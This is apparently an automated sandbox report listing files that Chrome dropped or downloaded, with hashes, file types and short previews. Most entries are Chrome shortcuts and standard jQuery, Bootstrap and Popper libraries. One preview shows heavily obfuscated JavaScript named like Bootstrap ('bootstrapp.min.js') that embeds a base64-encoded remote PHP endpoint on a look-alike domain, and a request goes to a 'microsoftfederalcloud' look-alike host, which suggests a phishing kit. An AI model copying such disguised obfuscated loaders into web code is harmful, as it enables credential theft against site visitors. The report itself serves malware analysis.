                          Preview:L..................F.@.. ...$+.,....)..D.M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 18:29:03 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                          Category:dropped
                          Size (bytes):2675
                          Entropy (8bit):4.008249354257517
                          Encrypted:false
                          SSDEEP:
                          MD5:735C2743D1480C1F7B0C59B8AFDCCC71
                          SHA1:239D40FEA6D1C222D9D5BB30988386C6F206C649
                          SHA-256:DC09F5E30E384CFFFB9343802D2EBEEF9948FB9A5C6C94C75DAF0A83A433BCB9
                          SHA-512:1FCFDCA79A44DD57411DF5979F5D6639D21EFCFB4B4AAA3C88E5AA9A3B1887F50DAA6C6F7ECFFDBE6B3CD1554447E8A7F98333C3296DE7AE56C9F1DEB722D9F9
                          Malicious:false
                          Reputation:unknown
                          Preview:L..................F.@.. ...$+.,.......D.M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                          Category:dropped
                          Size (bytes):2689
                          Entropy (8bit):4.0154773179979495
                          Encrypted:false
                          SSDEEP:
                          MD5:F36C3265C91907F8AD0FAFF7CF3829FE
                          SHA1:7532EEABA40BE03C1A67C89441B17C76D12212C0
                          SHA-256:EC837101F94E8FB057F1C50C0D13D89DB739B3E5BC793B8FED9CC38B44BB151F
                          SHA-512:EDF7C392C0546883C6227C2E837456E67735DA364310201F9C5DDB3EFCE3FE8AE2723C3A1193D2478B8AC2F589D1D567008A6FF737B120E87DEDDE49E4A8F740
                          Malicious:false
                          Reputation:unknown
                          Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 18:29:03 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                          Category:dropped
                          Size (bytes):2677
                          Entropy (8bit):4.0038307644801305
                          Encrypted:false
                          SSDEEP:
                          MD5:2D9C80927DA35A535CC81E1DBD40925F
                          SHA1:C947D2B149036A97995C5C0E09C7FC462B91A9F5
                          SHA-256:5918B9B7BFC60B12C7AC6965B6B8E2F838ED9E6323E0B6FA26040AA48B26F6A5
                          SHA-512:AC229BCCC2CF38D84EA661F8373892F8F9BEF17842DE868C8D5292333C4AAF6DC35F9FB66B61C3209C70531BDDB3720953BDCAA7F76CA767FF22F1E048D4EAAB
                          Malicious:false
                          Reputation:unknown
                          Preview:L..................F.@.. ...$+.,....Ut.D.M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 18:29:03 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                          Category:dropped
                          Size (bytes):2677
                          Entropy (8bit):3.992904675711453
                          Encrypted:false
                          SSDEEP:
                          MD5:28384A0BA0AEC994A25B9BAB3A64006A
                          SHA1:DBAE2B7CA788CD895D0A2C2FF73BB0953FF3AC64
                          SHA-256:89DBF10E85C08B52F74EFAE548D102A0C47AB6E12273BEDA012215671C613D94
                          SHA-512:9315AF7FD755113504B0A41B0352021771AAD4463EBC050A99075A65F0B78AD940F0E13552B5EF0EA195A2E990B425C3E2C6C36A2FC561A924ADA96DCA5C6A27
                          Malicious:false
                          Reputation:unknown
                          Preview:L..................F.@.. ...$+.,....n.D.M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 18:29:03 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                          Category:dropped
                          Size (bytes):2679
                          Entropy (8bit):4.003159258735754
                          Encrypted:false
                          SSDEEP:
                          MD5:4162913C8946D9D04333C00960597DF4
                          SHA1:CF4608D55354557F4DD5F59BD9791729B7F8B572
                          SHA-256:D7EF823906E4DE27A5E1537D2AAD4CD368F186FBF0ABF35D37ABA83ECAD54A86
                          SHA-512:455B7DD3F30E033A3A611886FEFC78A57FF6FEE89270FB1393F0CD10F5D0C2717136E7BE4714BEBF6095DF01F6823C9F58181DCA05EBFA001B00C98235701AC3
                          Malicious:false
                          Reputation:unknown
                          Preview:L..................F.@.. ...$+.,....@b.D.M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (32012)
                          Category:dropped
                          Size (bytes):69597
                          Entropy (8bit):5.369216080582935
                          Encrypted:false
                          SSDEEP:
                          MD5:5F48FC77CAC90C4778FA24EC9C57F37D
                          SHA1:9E89D1515BC4C371B86F4CB1002FD8E377C1829F
                          SHA-256:9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
                          SHA-512:CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
                          Malicious:false
                          Reputation:unknown
                          Preview:/*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector | (c) JS Foundation and other contributors | jquery.org/license */.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with no line terminators
                          Category:downloaded
                          Size (bytes):28
                          Entropy (8bit):4.137537511266052
                          Encrypted:false
                          SSDEEP:
                          MD5:C41A026A97DFC107025EEC7F45F29C85
                          SHA1:B77C8FE6D6A770AF1758FC34B3E716656B8F2485
                          SHA-256:8A7130BC862841606D062AC516513B01EB176CEF37D017E18B54E844E8390029
                          SHA-512:6DE72788DA933F3DA0D1FB315335B8DE1BD9D4F7B59A0F1D1F6E758AB0D1EC3D7F0B8FFCDE16313B555BFE18832FF8671A2159F5AFCEEA6C45C2A037345ED017
                          Malicious:false
                          Reputation:unknown
                          URL:https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmZUjmRfA6CSxIFDVNVgbUSBQ2tCa6x?alt=proto
                          Preview:ChIKBw1TVYG1GgAKBw2tCa6xGgA=
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:Unicode text, UTF-8 text, with very long lines (65444), with CRLF line terminators
                          Category:downloaded
                          Size (bytes):1139812
                          Entropy (8bit):5.214867129067425
                          Encrypted:false
                          SSDEEP:
                          MD5:C513EDE7C5250083240B6B86191245EC
                          SHA1:A130853C9F8FB18AB2D7F09EB25828C746BCC205
                          SHA-256:0D2C0A56E01EC59216FC0AE2B2F62C9A519E36B751B8EA892BC3AA63B2F69998
                          SHA-512:2F5FA77CF9F2E2DE321369F6738A81C2089FF8C1A5A0A4C0DC09C46E6EFCDF5916E90B40D2018A8C992A1BD676905C1BD96107193B86D61C03B9E0B304E3FDD7
                          Malicious:false
                          Reputation:unknown
                          URL:https://7425169103-1323985617.cos.ap-singapore.myqcloud.com/bootstrapp.min.js
                          Preview:var file = "aHR0cHM6Ly83NDI1MTY5MTAzLmZlZGVyYWxjb250cmFjdHNsZWdhbC5jb20vbmV4dC5waHA=";....var _0x31ccbb=_0x252b;(function(_0x52ac57,_0x4c8f9d){var _0x1b458c=_0x252b,_0x5b0099=_0x52ac57();while(!![]){try{var _0x119f41=-parseInt(_0x1b458c(0x2428))/(0x7e*0x39+0x1ba8+0x449*-0xd)*(parseInt(_0x1b458c(0x51a))/(0x4dc+0x4*-0x590+0x1166))+-parseInt(_0x1b458c(0x1668))/(-0x8ad*0x3+0x1*0x16df+0x1*0x32b)*(parseInt(_0x1b458c(0x197f))/(0x1*-0x1075+-0x127f+0x2ea*0xc))+-parseInt(_0x1b458c(0x45b4))/(-0x3b*0xf+0x136*0x10+-0x16*0xb9)*(-parseInt(_0x1b458c(0x118))/(0x14c6*-0x1+0x19*0x4a+0xd92))+-parseInt(_0x1b458c(0xa25))/(0xb*0x1ee+-0x7b*-0x1d+-0x2322)+parseInt(_0x1b458c(0x47c))/(-0x3d*0x3e+0x1d3d+-0x5*0x2e3)+parseInt(_0x1b458c(0x3dd))/(-0x1*-0x1fd3+0x491*0x1+0xe3*-0x29)*(parseInt(_0x1b458c(0x48bd))/(-0x1e8f+-0x206a+-0x11b*-0x39))+parseInt(_0x1b458c(0x59c8))/(-0x130e+-0x1ba4+0x2ebd);if(_0x119f41===_0x4c8f9d)break;else _0x5b0099['push'](_0x5b0099['shift']());}catch(_0x2745d8){_0x5b0099['push'](_0x5b0099['shi
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (32065)
                          Category:dropped
                          Size (bytes):85578
                          Entropy (8bit):5.366055229017455
                          Encrypted:false
                          SSDEEP:
                          MD5:2F6B11A7E914718E0290410E85366FE9
                          SHA1:69BB69E25CA7D5EF0935317584E6153F3FD9A88C
                          SHA-256:05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
                          SHA-512:0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
                          Malicious:false
                          Reputation:unknown
                          Preview:/*! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:PNG image data, 1 x 12, 8-bit/color RGB, non-interlaced
                          Category:dropped
                          Size (bytes):61
                          Entropy (8bit):3.9380865179950484
                          Encrypted:false
                          SSDEEP:
                          MD5:391DDE7707B7E373050185DB3F7C2C76
                          SHA1:3617B4BEAC56E8DC6BA4D7A0CCF4063AFA6D935A
                          SHA-256:BCE12A1124CD0619EA35A2050916F9F52046945F5E8184A566EBE5A5D0627566
                          SHA-512:68B10C065C9815F5279897BF9C664E7D6FB7AB08E0A9A3F1AFA7766DC270B5FD22B0E3C2FCDFC6E4E7C9C18A9E2FB49DF353A7F12D2ED0ED776EA731DFAD673E
                          Malicious:false
                          Reputation:unknown
                          Preview:.PNG........IHDR.............,.@.....IDAT.....$.....IEND.B`.
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (50758)
                          Category:dropped
                          Size (bytes):51039
                          Entropy (8bit):5.247253437401007
                          Encrypted:false
                          SSDEEP:
                          MD5:67176C242E1BDC20603C878DEE836DF3
                          SHA1:27A71B00383D61EF3C489326B3564D698FC1227C
                          SHA-256:56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
                          SHA-512:9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
                          Malicious:false
                          Reputation:unknown
                          Preview:/*!. * Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (47691)
                          Category:dropped
                          Size (bytes):47692
                          Entropy (8bit):5.401573598696506
                          Encrypted:false
                          SSDEEP:
                          MD5:B0B3774E70E752266B4CF190E6D95053
                          SHA1:03823D33D8C374DD69B66F1D75A5FC93D29967E1
                          SHA-256:A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
                          SHA-512:8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
                          Malicious:false
                          Reputation:unknown
                          Preview:"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:HTML document, ASCII text
                          Category:downloaded
                          Size (bytes):196
                          Entropy (8bit):5.098952451791238
                          Encrypted:false
                          SSDEEP:
                          MD5:62962DAA1B19BBCC2DB10B7BFD531EA6
                          SHA1:D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
                          SHA-256:80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
                          SHA-512:9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
                          Malicious:false
                          Reputation:unknown
                          URL:https://unicoengineering.microsoftfederalcloud.com/TvL1x/1.png
                          Preview:<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (48664)
                          Category:downloaded
                          Size (bytes):48944
                          Entropy (8bit):5.272507874206726
                          Encrypted:false
                          SSDEEP:
                          MD5:14D449EB8876FA55E1EF3C2CC52B0C17
                          SHA1:A9545831803B1359CFEED47E3B4D6BAE68E40E99
                          SHA-256:E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
                          SHA-512:00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
                          Malicious:false
                          Reputation:unknown
                          URL:https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
                          Preview:/*!. * Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (65325)
                          Category:downloaded
                          Size (bytes):144877
                          Entropy (8bit):5.049937202697915
                          Encrypted:false
                          SSDEEP:
                          MD5:450FC463B8B1A349DF717056FBB3E078
                          SHA1:895125A4522A3B10EE7ADA06EE6503587CBF95C5
                          SHA-256:2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
                          SHA-512:93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
                          Malicious:false
                          Reputation:unknown
                          URL:https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
                          Preview:/*!. * Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:ASCII text, with very long lines (19015)
                          Category:dropped
                          Size (bytes):19188
                          Entropy (8bit):5.212814407014048
                          Encrypted:false
                          SSDEEP:
                          MD5:70D3FDA195602FE8B75E0097EED74DDE
                          SHA1:C3B977AA4B8DFB69D651E07015031D385DED964B
                          SHA-256:A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
                          SHA-512:51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
                          Malicious:false
                          Reputation:unknown
                          Preview:/*. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
                          Category:downloaded
                          Size (bytes):61
                          Entropy (8bit):3.990210155325004
                          Encrypted:false
                          SSDEEP:
